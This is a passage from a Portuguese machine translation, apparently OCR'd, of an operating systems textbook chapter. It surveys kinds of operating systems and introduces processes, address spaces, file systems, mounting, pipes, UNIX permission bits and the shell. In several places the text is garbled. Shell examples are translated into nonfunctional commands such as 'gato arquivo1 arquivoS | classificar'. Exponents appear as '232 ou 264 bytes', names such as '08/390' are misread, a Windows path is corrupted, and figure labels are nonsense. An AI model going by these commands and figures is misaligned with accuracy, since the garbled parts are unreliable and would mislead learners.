No cap. 9, retomaremos o UEFI quando discutirmos um recurso interessante conhecido como Secure 


Boot, que permite ao usuário ter certeza de que o sistema operacional foi inicializado conforme planejado 
e com o software correto. 


1.4 O ZOOLÓGICO DO SISTEMA OPERACIONAL 


Os sistemas operacionais já existem há mais de meio século. Durante este tempo, uma grande 
variedade deles foi desenvolvida, nem todos amplamente conhecidos. 
Nesta seção, abordaremos brevemente nove deles. Voltaremos a alguns desses diferentes tipos de 
sistemas mais adiante neste livro. 


1.4.1 Sistemas Operacionais de Mainframe 


No topo de linha estão os sistemas operacionais para mainframes, aqueles computadores do tamanho 
de salas ainda encontrados nos principais data centers corporativos. Esses computadores diferem dos 
computadores pessoais em termos de capacidade de E/S. Um mainframe com 1.000 discos rígidos e 
muitos terabytes de dados não é incomum; um computador pessoal com essas especificações causaria 
inveja aos seus amigos. Os mainframes também estão retornando como servidores de ponta para sites 
de comércio eletrônico de grande escala, serviços bancários, reservas de companhias aéreas e servidores 
para transações entre empresas. 

Os sistemas operacionais para mainframes são fortemente orientados para o processamento de 
muitos trabalhos ao mesmo tempo, muitos dos quais necessitam de quantidades prodigiosas de E/S. Eles 
normalmente oferecem três tipos de serviços: lote, processamento de transações e compartilhamento de 
tempo. Um sistema em lote é aquele que processa tarefas de rotina sem a presença de nenhum usuário interativo. 
O processamento de sinistros em uma seguradora ou relatórios de vendas para uma rede de lojas 
normalmente é feito em lote. Os sistemas de processamento de transações lidam com um grande número 
de pequenas solicitações, por exemplo, processamento de cheques em um banco ou reservas aéreas. 

Cada unidade de trabalho é pequena, mas o sistema deve lidar com centenas ou milhares por segundo. 
Os sistemas de compartilhamento de tempo permitem que vários usuários remotos executem tarefas no 
computador ao mesmo tempo, como consultar um grande banco de dados. Estas funções estão intimamente 
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relacionado; os sistemas operacionais de mainframe geralmente executam todos eles. Um exemplo 

sistema operacional de mainframe é o Z/OS, o sucessor do 08/390, que por sua vez foi um 

descendente direto do 0S/360. No entanto, os sistemas operacionais de mainframe estão sendo gradualmente 
substituídos por variantes do UNIX, como o Linux. 


1.4.2 Sistemas Operacionais de Servidor 


Um nível abaixo estão os sistemas operacionais de servidor. Eles são executados em servidores, que 
são computadores pessoais, estações de trabalho ou até mesmo mainframes muito grandes. Eles 
atender vários usuários ao mesmo tempo em uma rede e permitir que os usuários compartilhem hardware 
e recursos de software. Os servidores podem fornecer serviço de impressão, serviço de arquivo, serviço de 
banco de dados ou serviço Web. Os provedores de Internet executam muitas máquinas servidores para suportar seus 
clientes e sites usam servidores para armazenar as páginas da Web e lidar com as solicitações recebidas. Os 
sistemas operacionais de servidor típicos são Linux, FreeBSD, Solaris e 


a família Windows Server. 
1.4.3 Sistemas operacionais de computadores pessoais 


A próxima categoria é o sistema operacional do computador pessoal. Todos modernos 
suporta multiprogramação, muitas vezes com dezenas de programas iniciados no momento da inicialização, 
e arquiteturas de multiprocessadores. Seu trabalho é fornecer um bom suporte a um único 
do utilizador. Eles são amplamente usados para processamento de texto, planilhas, jogos e Internet. 
acesso. Exemplos comuns são Windows 11, macOS, Linux e FreeBSD. Os sistemas operacionais de 
computadores pessoais são tão amplamente conhecidos que provavelmente pouca introdução é necessária. Na 
verdade, muitas pessoas nem sequer sabem que existem outros tipos. 


1.4.4 Sistemas operacionais para smartphones e computadores portáteis 


Continuando para sistemas cada vez menores, chegamos aos tablets (como 
iPad da Apple), smartphones e outros computadores portáteis. Um computador portátil, 
originalmente conhecido como PDA (Personal Digital Assistant), é um pequeno computador que 
pode ser segurado em sua mão durante a operação. Smartphones e tablets são os exemplos mais conhecidos. 
Como já vimos, este mercado é actualmente dominado por 
Android do Google e iOS da Apple. A maioria desses dispositivos possui CPUs multicore, 
GPS, câmeras e outros sensores, grandes quantidades de memória e recursos sofisticados 
sistemas operacionais. Além disso, todos eles possuem mais aplicativos (apps) de terceiros 
do que você pode agitar um stick (USB). O Google tem mais de 3 milhões de aplicativos Android em 
a Play Store e a Apple tem mais de 2 milhões na App Store. 


1.4.5 A Internet das Coisas e Sistemas Operacionais Embarcados 
A IOT (Internet das Coisas) compreende todos os bilhões de objetos físicos 


com sensores e atuadores cada vez mais conectados à rede, como 
geladeiras, termostatos, sensores de movimento de câmeras de segurança e assim por diante. Todos esses 
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os dispositivos contêm computadores pequenos e a maioria deles executa sistemas operacionais 
pequenos. Além disso, poderemos ter ainda mais sistemas embarcados controlando dispositivos que 
não estão conectados a uma rede. Os exemplos incluem fornos de microondas tradicionais e 
máquinas de lavar. Tais sistemas não aceitam software instalado pelo usuário, portanto a principal 
propriedade que distingue tais sistemas embarcados dos computadores que discutimos anteriormente 
é a certeza de que nenhum software não confiável jamais será executado neles. Poucos fornos de 
micro-ondas permitem baixar e executar novos aplicativos — todo o software está em ROM. No 
entanto, até isso está mudando. Algumas câmeras de última geração têm suas próprias lojas de 
aplicativos que permitem aos usuários instalar aplicativos personalizados para edição na câmera, 
múltiplas exposições, diferentes algoritmos de foco, diferentes algoritmos de compressão de imagem 
e muito mais. 

No entanto, para a maioria dos sistemas embarcados não há necessidade de proteção entre 
aplicações, levando à simplificação do projeto. Por outro lado, tais sistemas operacionais podem 
fornecer mais suporte para funcionalidades como agendamento em tempo real ou redes de baixo 
consumo de energia, que são importantes em muitos sistemas embarcados. Sistemas como 
Embedded Linux, QNX e VxWorks são populares neste domínio. 

Para dispositivos com recursos severamente limitados, o sistema operacional deve ser capaz de 
executar apenas alguns kilobytes. Por exemplo, o RIOT, um sistema operacional de código aberto 
para dispositivos loT, pode rodar em menos de 10 KB e suportar sistemas que variam de 
microcontroladores de 8 bits a CPUs de uso geral de 32 bits. A operação do TinyOS oferece um 
espaço muito pequeno, tornando-o popular em nós sensores. 


1.4.6 Sistemas Operacionais em Tempo Real 


Os sistemas de tempo real são caracterizados por terem o tempo como parâmetro chave. Por 
exemplo, em sistemas de controlo de processos industriais, os computadores em tempo real têm de 
recolher dados sobre o processo de produção e utilizá-los para controlar máquinas na fábrica. 
Frequentemente, há prazos difíceis que devem ser cumpridos. Por exemplo, se um carro está 
percorrendo uma linha de montagem, certas ações devem ocorrer em determinados instantes de tempo. 
Se, por exemplo, um robô de soldagem soldar muito cedo ou muito tarde, o carro ficará arruinado. 

Se a ação deve ocorrer absolutamente em um determinado momento (ou dentro de um determinado 
intervalo), temos um sistema rígido em tempo real. Muitos deles são encontrados em áreas de 
controle de processos industriais, aviônica, militar e aplicações similares. Esses sistemas devem 
fornecer garantias absolutas de que uma determinada ação ocorrerá em um determinado momento. 

Um sistema suave em tempo real é aquele em que perder um prazo ocasional, embora não 
seja desejável, é aceitável e não causa nenhum dano permanente. Os sistemas digitais de áudio ou 
multimídia se enquadram nesta categoria. Os smartphones também são sistemas suaves em tempo 
real. 

Como cumprir prazos é crucial em sistemas (rígidos) de tempo real, às vezes o sistema 
operacional é simplesmente uma biblioteca vinculada aos programas aplicativos, com tudo fortemente 
acoplado e sem proteção entre partes do sistema. Um exemplo deste tipo de sistema em tempo real 
é o eCos. 
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Devemos enfatizar que as categorias de loT, embarcado, tempo real e até mesmo 
os sistemas portáteis se sobrepõem consideravelmente. Muitos deles têm pelo menos alguns aspectos 
suaves em tempo real. Os sistemas embarcados e de tempo real executam apenas software instalado pelo 


projetistas de sistemas; os usuários não podem adicionar seu próprio software, o que torna a proteção 
mais fácil. 


1.4.7 Sistemas operacionais de cartões inteligentes 


Os menores sistemas operacionais são executados em cartões inteligentes, do tamanho de um cartão de crédito 
dispositivos contendo uma CPU. Eles têm poder de processamento e memória muito severos 
restrições. Alguns são alimentados por contatos no leitor no qual estão inseridos, enquanto os cartões 
inteligentes sem contato são alimentados indutivamente (o que limita bastante 
o que eles podem fazer.) Alguns deles podem lidar apenas com uma única função, como pagamentos 
eletrônicos, mas outros podem lidar com múltiplas funções. Muitas vezes estes são sistemas proprietários. 


Alguns cartões inteligentes são orientados para Java. Isso significa que a ROM do smart 


cartão contém um intérprete para a Java Virtual Machine (JVM). Miniaplicativos Java (pequenos 
programas) são baixados para o cartão e interpretados pelo interpretador JVM. 

Alguns desses cartões podem lidar com vários miniaplicativos Java ao mesmo tempo, levando a 
multiprogramação e a necessidade de escaloná-los. O gerenciamento e a proteção de recursos também 
se tornam um problema quando dois ou mais miniaplicativos estão presentes ao mesmo tempo. 

tempo. Estas questões devem ser tratadas pelo operador (geralmente extremamente primitivo) 

sistema presente no cartão. 


1.5 CONCEITOS DE SISTEMA OPERACIONAL 


A maioria dos sistemas operacionais fornece certos conceitos básicos e abstrações, como 
processos, espaços de endereço e arquivos que são centrais para compreendê-los. No 
nas seções seguintes, examinaremos alguns desses conceitos básicos brevemente, como 
uma introdução. Voltaremos a cada um deles detalhadamente mais adiante neste 
livro. Para ilustrar esses conceitos usaremos, de tempos em tempos, exemplos, geralmente retirados do 
UNIX. Exemplos semelhantes normalmente também existem em outros sistemas, 
no entanto, e estudaremos alguns deles mais tarde. 


1.5.1 Processos 


Um conceito chave em todos os sistemas operacionais é o processo. Um processo é basicamente um 
programa em execução. Associado a cada processo está seu espaço de endereço, uma lista de 
locais de memória de 0 a algum máximo, que o processo pode ler e escrever. 
O espaço de endereço contém o programa executável, os dados do programa e seus 
pilha. Também associado a cada processo está um conjunto de recursos, comumente incluindo 
registradores (incluindo o contador do programa e o ponteiro da pilha), uma lista de arquivos abertos, 
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alarmes pendentes, listas de processos relacionados e todas as outras informações necessárias 
para executar o programa. Um processo é fundamentalmente um contêiner que contém todas as informações 
necessárias para executar um programa. 

Voltaremos ao conceito de processo com muito mais detalhes no Cap. 2. Para 
por enquanto, a maneira mais fácil de obter uma boa noção intuitiva de um processo é pensar 
sobre um sistema de multiprogramação. O usuário pode ter iniciado um programa de edição de vídeo e instruído- 
o a converter um vídeo de 2 horas para um determinado formato (algo que 
pode levar horas) e depois saiu para navegar na Web. Enquanto isso, um processo em segundo plano que é 
ativado periodicamente para verificar se há e-mails recebidos pode ter começado a ser executado. Assim, temos 
(pelo menos) três processos ativos: o editor de vídeo, o Web 
navegador e o destinatário do e-mail. Periodicamente, o sistema operacional decide parar 
executar um processo e começar a executar outro, talvez porque o primeiro tenha 
consumiu mais do que sua parcela de tempo de CPU nos últimos dois segundos. 

Quando um processo é suspenso temporariamente desta forma, ele deve ser reiniciado posteriormente em 
exatamente o mesmo estado que tinha quando foi interrompido. Isto significa que todas as informações 
sobre o processo deve ser salvo explicitamente em algum lugar durante a suspensão. Para 
Por exemplo, o processo pode ter vários arquivos abertos para leitura ao mesmo tempo. Associado 
com cada um desses arquivos há um ponteiro que fornece a posição atual (ou seja, o número de 
o byte ou registro a ser lido a seguir). Quando um processo é temporariamente suspenso, todos 
esses ponteiros devem ser salvos para que uma chamada de leitura executada após o processo ser reiniciado 
leia os dados apropriados. Em muitos sistemas operacionais, todas as informações sobre 
cada processo, exceto o conteúdo de seu próprio espaço de endereço, é armazenado em uma tabela do sistema 
operacional chamada tabela de processos, que é um array de estruturas, uma para 
cada processo atualmente existente. 

Assim, um processo (suspenso) consiste em seu espaço de endereço, geralmente chamado de 
imagem central (em homenagem às memórias do núcleo magnético usadas antigamente) e sua 
entrada da tabela de processo, que contém o conteúdo de seus registradores e muitos outros 
itens necessários para reiniciar o processo mais tarde. 

As principais chamadas do sistema de gerenciamento de processos são aquelas que tratam da criação 
e encerramento de processos. Considere um exemplo típico. Um processo chamado 
interpretador de comandos ou (ou seja, shell) lê comandos de um terminal. O usuário 
acabou de digitar um comando solicitando que um programa seja compilado. A casca deve 
agora crie um novo processo que executará o compilador. Quando esse processo termina a compilação, ele 
executa uma chamada de sistema para encerrar a si mesmo. 

Se um processo pode criar um ou mais processos (chamados de processos filhos) e esses processos, 
por sua vez, podem criar processos filhos, chegamos rapidamente a 
a estrutura da árvore de processos da Figura 1.13. Processos relacionados que estão cooperando para 
realizar algum trabalho muitas vezes precisam se comunicar uns com os outros e sincronizar 
suas atividades. Essa comunicação é chamada de comunicação entre processos, e 
será abordado em detalhes no Cap. 2. 

Outras chamadas de sistema de processo estão disponíveis para solicitar mais memória (ou liberar 
memória não utilizada que não é mais necessária), aguarde o término de um processo filho, 


e sobrepor seu programa com um diferente. 
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Figura 1-13. Uma árvore de processos. O processo A criou dois processos filhos, Be C. 
O processo B criou três processos filhos, D, E e F. 


Ocasionalmente, há necessidade de transmitir informações para um processo em execução que é 
não ficar sentado esperando por essa informação. Por exemplo, um processo que está se comunicando 
com outro processo em um computador diferente o faz enviando mensagens ao processo remoto 
através de uma rede de computadores. Para evitar a possibilidade de perda de uma mensagem ou de 
sua resposta, o remetente pode solicitar que seu próprio sistema operacional o notifique após um 
determinado número de segundos, para que possa retransmitir. 

a mensagem se nenhuma confirmação tiver sido recebida ainda. Depois de definir este temporizador, 
o programa pode continuar fazendo outro trabalho. 

Quando o número especificado de segundos tiver decorrido, o sistema operacional envia 
um sinal de alarme para o processo. O sinal faz com que o processo suspenda temporariamente 
tudo o que estava fazendo, salve seus registradores na pilha e comece a executar um procedimento 
especial de tratamento de sinal, por exemplo, para retransmitir uma mensagem presumivelmente 
perdida. Quando o manipulador de sinal é concluído, o processo em execução é reiniciado no estado 
foi pouco antes do sinal. Os sinais são análogos de software às interrupções de hardware e podem 
ser gerados por diversas causas, além da expiração dos temporizadores. 

Muitas armadilhas detectadas pelo hardware, como a execução de uma instrução ilegal ou o uso de 
um endereço inválido, também são convertidos em sinais para o processo culpado. 

Cada pessoa autorizada a usar um sistema recebe um UID (User IDentification) pelo 
administrador do sistema. Todo processo iniciado possui o UID da pessoa 
quem começou. No UNIX, um processo filho possui o mesmo UID de seu pai. Os usuários podem 
ser membros de grupos, cada um dos quais possui um GID (Group IDentification). 

Um UID, chamado superusuário ou root (no UNIX) ou Administrador (no Windows), tem poder 
especial e pode substituir muitas das regras de proteção. Em grande 
instalações, apenas o administrador do sistema sabe a senha do superusuário, mas 
muitos dos usuários comuns (especialmente estudantes) dedicam um esforço considerável buscando 
falhas no sistema que permitem que eles se tornem superusuários sem a senha. 

Estudaremos processos e comunicação entre processos no Cap. 2. 


1.5.2 Espaços de Endereço 


Todo computador possui alguma memória principal que usa para manter a execução de 
programas. Em um sistema operacional muito simples, apenas um programa por vez fica na memória. 
Para executar um segundo programa, o primeiro deve ser removido e o segundo 
colocado na memória. Isso é conhecido como troca. 
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Sistemas operacionais mais sofisticados permitem que vários programas estejam na memória ao mesmo 
tempo. Para evitar que eles interfiram uns com os outros (e com o 
sistema operacional), algum tipo de mecanismo de proteção é necessário. Embora o hardware deva fornecer esse 
mecanismo, é o sistema operacional que o controla. 

O ponto de vista acima diz respeito ao gerenciamento e proteção da memória principal do computador. Uma 
questão diferente, mas igualmente importante, relacionada à memória é 
gerenciando o espaço de endereço dos processos. Normalmente, cada processo tem algum conjunto 
de endereços que ele pode usar, normalmente variando de 0 até um máximo. No caso mais simples, a quantidade 
máxima de espaço de endereço que um processo possui é menor que o 
memória principal. Desta forma, um processo pode preencher seu espaço de endereço e haverá 
espaço suficiente na memória principal para armazenar tudo. 

No entanto, em muitos computadores os endereços são de 32 ou 64 bits, fornecendo um endereço 
espaço de 232 ou 264 bytes, respectivamente. O que acontece se um processo tiver mais endereços 
espaço que o computador tem memória principal e o processo quer usar tudo? Em 
Nos primeiros computadores, tal processo não teve sorte. Hoje em dia, uma técnica 
existe a chamada memória virtual, como mencionado anteriormente, na qual o sistema operacional 
mantém parte do espaço de endereço na memória principal e parte no SSD ou disco e transfere peças entre eles 
conforme necessário. Em essência, o sistema operacional cria a abstração de um espaço de endereço como o 
conjunto de endereços de um processo 
pode fazer referência. O espaço de endereço é desacoplado da memória física da máquina e pode ser maior ou 
menor que a memória física. Gerenciamento de 
espaços de endereço e memória física constituem uma parte importante do que um sistema operacional 


sistema faz, então todo o Cap. 3 é dedicado a este tópico. 


1.5.3 Arquivos 


Outro conceito chave suportado por praticamente todos os sistemas operacionais é o arquivo 
sistema. Como observado anteriormente, uma função importante do sistema operacional é ocultar o 
peculiaridades dos SSDs, discos e outros dispositivos de E/S e apresentam ao programador 
com um modelo abstrato limpo e agradável de arquivos independentes de dispositivo. As chamadas do sistema são 
obviamente necessário para criar arquivos, remover arquivos, ler arquivos e gravar arquivos. Antes de 
arquivo pode ser lido, ele deve estar localizado no dispositivo de armazenamento e aberto, e depois 
sendo lido, ele deve ser fechado, portanto, são fornecidas cnamadas para fazer essas coisas. 

Para fornecer um local para guardar arquivos, a maioria dos sistemas operacionais de PC tem o conceito 
de um diretório, às vezes chamado de pasta ou mapa, como forma de agrupar arquivos 
junto. Um aluno, por exemplo, pode ter um diretório para cada curso que frequenta. 
tomando (para os programas necessários para aquele curso), outro diretório de e-mail dela, e 
ainda outro diretório para sua página inicial na Web. Chamadas do sistema são então necessárias 
para criar e remover diretórios. Chamadas também são fornecidas para colocar um arquivo existente em um 
diretório e para remover um arquivo de um diretório. As entradas do diretório podem ser 
arquivos ou outros diretórios, dando origem a uma hierarquia — o sistema de arquivos — conforme mostrado em 
Figura 1-14. Assim como muitas outras inovações em sistemas operacionais, arquivos hierárquicos 


sistemas foram pioneiros pela Multics. 
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Diretório raiz 


Alunos Faculdade 


Prof.Branco 


Roberto Matty Leão Prof.Brown Prof.Verde 


Comitês 


Subsídios 


oooOooooO 
C5101 CUSTO-11 


So THEE 


Figura 1-14. Um sistema de arquivos para um departamento universitário. 


As hierarquias de processos e arquivos são organizadas como árvores, mas a semelhança 
para aí. As hierarquias de processos geralmente não são muito profundas (mais de cinco níveis são necessários). 
incomum), enquanto as hierarquias de arquivos geralmente têm seis, sete ou até mais níveis 
profundo. As hierarquias de processos normalmente têm vida mais curta do que as hierarquias de diretórios 
que pode existir durante anos. Propriedade e proteção também diferem para processos e 
arquivos. Normalmente, apenas um processo pai pode controlar ou até mesmo acessar um processo filho, 
mas quase sempre existem mecanismos para permitir que arquivos e diretórios sejam lidos por um 
grupo mais amplo do que apenas o proprietário. 
Cada arquivo dentro da hierarquia de diretórios pode ser especificado fornecendo seu caminho 
nome do topo da hierarquia de diretórios, o diretório raiz. Tão absoluto 
nomes de caminhos consistem na lista de diretórios que devem ser percorridos a partir da raiz 
diretório para chegar ao arquivo, com barras separando os componentes. Na Figura 1-14, 
o caminho para o arquivo CS101 é /Faculty/Prof. Brown/Courses/CS101. A barra principal 
indica que o caminho é absoluto, ou seja, começando no diretório raiz. Como um aparte, 
no Windows, o caractere barra invertida (1) é usado como separador em vez da barra 
(/) (por razões históricas), então o caminho do arquivo fornecido acima seria escrito 
como IFaculdadelProf.BrowniCursosICS 101. Ao longo deste livro, geralmente 
use a convenção UNIX para caminhos. 
A cada instante, cada processo possui um diretório de trabalho atual, no qual caminho 


nomes que não começam com barra são procurados. Por exemplo, na Figura 1-14, se 
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/Faculty/ Prof.Brown era o diretório de trabalho, uso do caminho Courses/CS101 
produziria o mesmo arquivo que o nome do caminho absoluto fornecido acima. Os processos podem 
altere seu diretório de trabalho emitindo uma chamada de sistema especificando o novo diretório de trabalho. 


Antes que um arquivo possa ser lido ou gravado, ele deve ser aberto, momento em que as permissões 
são verificadas. Se o acesso for permitido, o sistema retorna um número inteiro pequeno 
chamado de descritor de arquivo para usar em operações subsequentes. Se o acesso for proibido, 
um código de erro é retornado. 

Outro conceito importante no UNIX é o sistema de arquivos montado. A maioria dos desktops 
computadores e notebooks possuem uma ou mais portas USB regulares nas quais o USB 
cartões de memória (na verdade, unidades flash) podem ser conectados ou portas USB-C que podem ser 
usado para conectar SSDs externos e discos rígidos. Alguns computadores possuem unidades ópticas 
para discos Blu-ray e você pode pedir aos veteranos histórias de guerra sobre DVDs, CD-ROMs e disquetes. 
Para fornecer uma maneira elegante de lidar com esses 
media UNIX permite que o sistema de arquivos nesses dispositivos de armazenamento separados seja anexado 
para a árvore principal. Considere a situação da Figura 1.15(a). Antes da chamada de montagem , o 
O sistema de arquivos raiz, no disco rígido, e um segundo sistema de arquivos, na unidade USB, são 
separados e não relacionados. A unidade USB pode até ser formatada com, digamos, FAT -32 e 
o disco rígido com, digamos, ext4. 


Raiz pendrive 
a b XX oO Nu a b 
a dele! 
c d c d X} Na 
AE LIL] 
(a) (b) 


Figura 1-15. (a) Antes da montagem, os arquivos na unidade USB não estão acessíveis. 
(b) Após a montagem, eles fazem parte da hierarquia de arquivos. 


Infelizmente, se o diretório atual do shell estiver no sistema de arquivos do disco rígido, o sistema de 
arquivos na unidade USB não poderá ser usado, porque não há como 
especifique nomes de caminhos nele. UNIX não permite que nomes de caminhos sejam prefixados por um 
nome ou número da unidade; esse seria precisamente o tipo de dependência de dispositivo que 
sistemas operacionais deveriam eliminar. Em vez disso, a chamada do sistema mount permite que o arquivo 
sistema na unidade USB para ser conectado ao sistema de arquivos raiz onde quer que o programa queira 
que ele esteja. Na Figura 1.15(b), o sistema de arquivos na unidade USB foi 
montado no diretório b, permitindo assim o acesso aos arquivos /b/x e /b/y. Se o diretório b 
contivesse quaisquer arquivos, eles não estariam acessíveis enquanto a unidade USB estivesse 
montado, já que /b agora se referiria ao diretório raiz da unidade USB. (Não 
poder acessar esses arquivos não é tão sério quanto parece à primeira vista: os sistemas de arquivos são 
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quase sempre montado em diretórios vazios.) Se um sistema contiver vários discos rígidos, todos eles 
também poderão ser montados em uma única árvore. 

Outro conceito importante no UNIX é o arquivo especial. Arquivos especiais são fornecidos para 
fazer com que os dispositivos de E/S pareçam arquivos. Dessa forma, eles podem ser lidos e gravados 
usando as mesmas chamadas de sistema usadas para ler e gravar arquivos. Existem dois tipos de 
arquivos especiais: arquivos especiais de bloco e arquivos especiais de caracteres. Arquivos 
especiais de bloco são usados para modelar dispositivos que consistem em uma coleção de blocos 
endereçáveis aleatoriamente, como SSDs e discos. Ao abrir um arquivo especial de bloco e ler, 
digamos, o bloco 4, um programa pode acessar diretamente o quarto bloco no dispositivo, 
independentemente da estrutura do sistema de arquivos contido nele. Da mesma forma, arquivos 
especiais de caracteres são usados para modelar impressoras, teclados, mouses e outros dispositivos 
que aceitam ou geram um fluxo de caracteres. Por convenção, os arquivos especiais são mantidos no 
diretório /dev . Por exemplo, /dev/ lp pode ser a impressora (uma vez chamada de linha print er). 


O último recurso que discutiremos nesta visão geral está relacionado a processos e arquivos: 
pipes. Um pipe é uma espécie de pseudoarquivo que pode ser usado para conectar dois processos, 
como mostrado na Figura 1.16. Se os processos A e B desejarem conversar por meio de um pipe, eles 
deverão configurá-lo antecipadamente. Quando o processo A deseja enviar dados para o processo B, 
ele escreve no pipe como se fosse um arquivo de saída. Na verdade, a implementação de um pipe é 
muito parecida com a de um arquivo. O processo B pode ler os dados lendo o pipe como se fosse um 
arquivo de entrada. Assim, a comunicação entre processos no UNIX se parece muito com leituras e 
gravações comuns de arquivos. Mais forte ainda, a única maneira de um processo descobrir que o 
arquivo de saída no qual está gravando não é realmente um arquivo, mas um canal, é fazendo uma 
chamada de sistema especial. Os sistemas de arquivos são muito importantes. Teremos muito mais a 
dizer sobre eles no Cap. 4 e também nos Caps. 10 e 11. 


Processo Processo 


Cano 


Figura 1-16. Dois processos conectados por um tubo. 


1.5.4 Entrada/Saída 


Todos os computadores possuem dispositivos físicos para adquirir entradas e produzir saídas. 
Afinal, de que serviria um computador se os usuários não pudessem dizer-lhe o que fazer e não 
conseguissem obter os resultados depois de realizar o trabalho solicitado? Existem muitos tipos de 
dispositivos de entrada e saída, incluindo teclados, monitores, impressoras e assim por diante. Cabe ao 
sistema operacional gerenciar esses dispositivos. 
Consequentemente, todo sistema operacional possui um subsistema de E/S para gerenciar seus 
dispositivos de E/S. Parte do software de E/S é independente do dispositivo, ou seja, aplica-se 
igualmente bem a muitos ou a todos os dispositivos de E/S. Outras partes dele, como drivers de 
dispositivos, são específicas para dispositivos de E/S específicos. No cap. 5, daremos uma olhada no software de E/S. 
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1.5.5 Proteção 


Os computadores contêm grandes quantidades de informações que os usuários muitas vezes desejam 
proteger e manter confidenciais. Essas informações podem incluir e-mail, planos de negócios, impostos 
retornos e muito mais. Cabe ao sistema operacional gerenciar o sistema 
segurança para que os arquivos, por exemplo, sejam acessíveis apenas a usuários autorizados. 

Como um exemplo simples, apenas para ter uma ideia de como a segurança pode funcionar, considere 
UNIX. Os arquivos no UNIX são protegidos atribuindo a cada um deles um código de proteção binário de 9 
bits. O código de proteção consiste em três campos de 3 bits, um para o proprietário, um para 
para outros membros do grupo do proprietário (os usuários são divididos em grupos pelo administrador do 
sistema) e um para todos os demais. Cada campo possui um bit para acesso de leitura, 
um pouco para acesso de gravação e um pouco para acesso de execução. Esses 3 bits são conhecidos como 
bits rwx. Por exemplo, o código de proteção rwxr-x--x significa que o proprietário pode 
ler, escrever ou executar o arquivo, outros membros do grupo poderão ler ou executar (mas não 
escrever) o arquivo, e todos os outros podem executar (mas não ler ou gravar) o arquivo. Para 


diretório, x indica permissão de pesquisa. Um travessão significa que a missão correspondente está ausente. 


Além da proteção de arquivos, existem muitos outros problemas de segurança. Protegendo 
o sistema contra intrusos indesejados, tanto humanos como não-humanos (por exemplo, vírus), é 


um deles. Veremos vários problemas de segurança no Cap. 9. 
1.5.6 A Concha 


O sistema operacional é o código que realiza as chamadas do sistema. Editores, 
compiladores, montadores, vinculadores, programas utilitários e interpretadores de comandos definitivamente 
não fazem parte do sistema operacional, embora sejam importantes e úteis. Correndo o risco de confundir 
um pouco as coisas, nesta seção examinaremos brevemente 
no interpretador de comandos UNIX, o shell. Embora não faça parte do sistema operacional, ele faz uso 
intenso de muitos recursos do sistema operacional e, portanto, serve 
como um bom exemplo de como as chamadas do sistema são usadas. É também a interface principal 
entre um usuário sentado em seu terminal e o sistema operacional, a menos que o usuário esteja 
usando uma interface gráfica de usuário. Existem muitos shells, incluindo sh, csh, ksh, bash e 
zsh. Todos eles suportam a funcionalidade descrita abaixo, que deriva do 
concha original (sh). 

Quando qualquer usuário faz login, um shell é iniciado. O shell possui o terminal como entrada padrão 
e saída padrão. Começa digitando o prompt, um caractere 
como um cifrão, que informa ao usuário que o shell está aguardando para aceitar um comando. Se o usuário 
agora digitar 


data 


por exemplo, o shell cria um processo filho e executa o programa de data como o 
criança. Enquanto o processo filho está em execução, o shell aguarda sua conclusão. Quando o 
child termina, o shell digita o prompt novamente e tenta ler a próxima linha de entrada. 
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O usuário pode especificar que a saída padrão seja redirecionada para um arquivo, por exemplo, 


data >arquivo 


Da mesma forma, a entrada padrão pode ser redirecionada, como em 


classificar <arquivo1 >arquivo2 


que invoca o programa de classificação com a entrada obtida do arquivo1 e a saída enviada para o arquivoZ. 
A saída de um programa pode ser usada como entrada para outro programa, 


conectando-os com um tubo. Por isso 
gato arquivo1 arquivo2 arquivoS | classificar >/dev/lp 


invoca o programa cat para concatenar três arquivos e enviar a saída para ordenar para organizar todas as linhas em 


ordem alfabética. A saída de sort é redirecionada para o arquivo /dev/Ip, normalmente a impressora. 


Se um usuário colocar um E comercial após um comando, o shell não esperará que ele seja executado. 


completo. Em vez disso, ele apenas fornece um aviso imediatamente. Consequentemente, 
gato arquivo1 arquivo2 arquivoS | classificar >/dev/lp & 


inicia a classificação como um trabalho em segundo plano, permitindo que o usuário continue trabalhando normalmente 
enquanto a classificação está em andamento. O shell possui uma série de outras características interessantes, que não 
temos espaço para discutir aqui. A maioria dos livros sobre UNIX discute o shell com alguma extensão (por exemplo, 
Kochan e Wood, 2016; e Shotts, 2019). 

A maioria dos computadores pessoais hoje em dia usa uma GUI. Na verdade, a GUI é apenas um programa 
executado sobre o sistema operacional, como um shell. Em sistemas Linux, esse fato se torna óbvio porque o usuário 
pode escolher entre múltiplas GUIs: Gnome, KDE ou mesmo nenhuma (usando uma janela de terminal no X11). No 


Windows, a substituição da área de trabalho GUI padrão normalmente não é feita. 


1.5.7 A ontogenia recapitula a filogenia 


Depois que o livro de Charles Darwin, Sobre a Origem das Espécies , foi publicado, o zoólogo alemão Ernst 
Haeckel afirmou que “a ontogenia recapitula a filogenia”. Com isso ele quis dizer que o desenvolvimento de um embrião 
(ontogenia) repete (isto é, recapitula) a evolução. da espécie (filogenia). Em outras palavras, após a fertilização, um 
óvulo humano passa pelos estágios de ser um peixe, um porco, e assim por diante, antes de se transformar em um 
bebê humano. Os biólogos modernos consideram isso uma simplificação grosseira, mas ainda contém um fundo de 


verdade. 


Algo vagamente análogo aconteceu na indústria de computadores. Cada nova espécie (mainframe, minicomputador, 
computador pessoal, portátil, computador embarcado, cartão inteligente, etc.) parece passar pelo desenvolvimento que 
seus ancestrais fizeram, tanto em hardware quanto em software. Muitas vezes esquecemos que muito do que acontece 
no setor de informática e em muitos outros campos é impulsionado pela tecnologia. A razão pela qual os antigos 


romanos não tinham automóveis não é porque eles gostavam tanto de caminhar. 
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É porque eles não sabiam como construí-los. Os computadores pessoais existem não porque 
milhões de pessoas tenham um desejo reprimido há séculos de possuir um computador, mas 
porque agora é possível fabricá-los a baixo custo. Muitas vezes esquecemos o quanto a 
tecnologia afeta a nossa visão sobre os sistemas e vale a pena refletir sobre esse ponto de vez 
em quando. 

Em particular, acontece frequentemente que uma mudança na tecnologia torna alguma 
ideia obsoleta e esta desaparece rapidamente. No entanto, outra mudança na tecnologia 
poderia reanimá-la. Isto é especialmente verdadeiro quando a mudança tem a ver com o 
desempenho relativo de diferentes partes do sistema. Por exemplo, quando as CPUs se 
tornaram muito mais rápidas que as memórias, os caches tornaram-se importantes para 
acelerar a memória “lenta”. Se algum dia a nova tecnologia de memória tornar as memórias 
muito mais rápidas que as CPUs, os caches desaparecerão. E se uma nova tecnologia de CPU 
os tornar mais rápidos que as memórias novamente, os caches reaparecerão. Na biologia, a 
extinção é para sempre, mas na ciência da computação, às vezes, dura apenas alguns anos. 

Como consequência desta impermanência, neste livro iremos de vez em quando olhar 
para conceitos “obsoletos”, isto é, ideias que não são óptimas com a tecnologia actual. Contudo, 
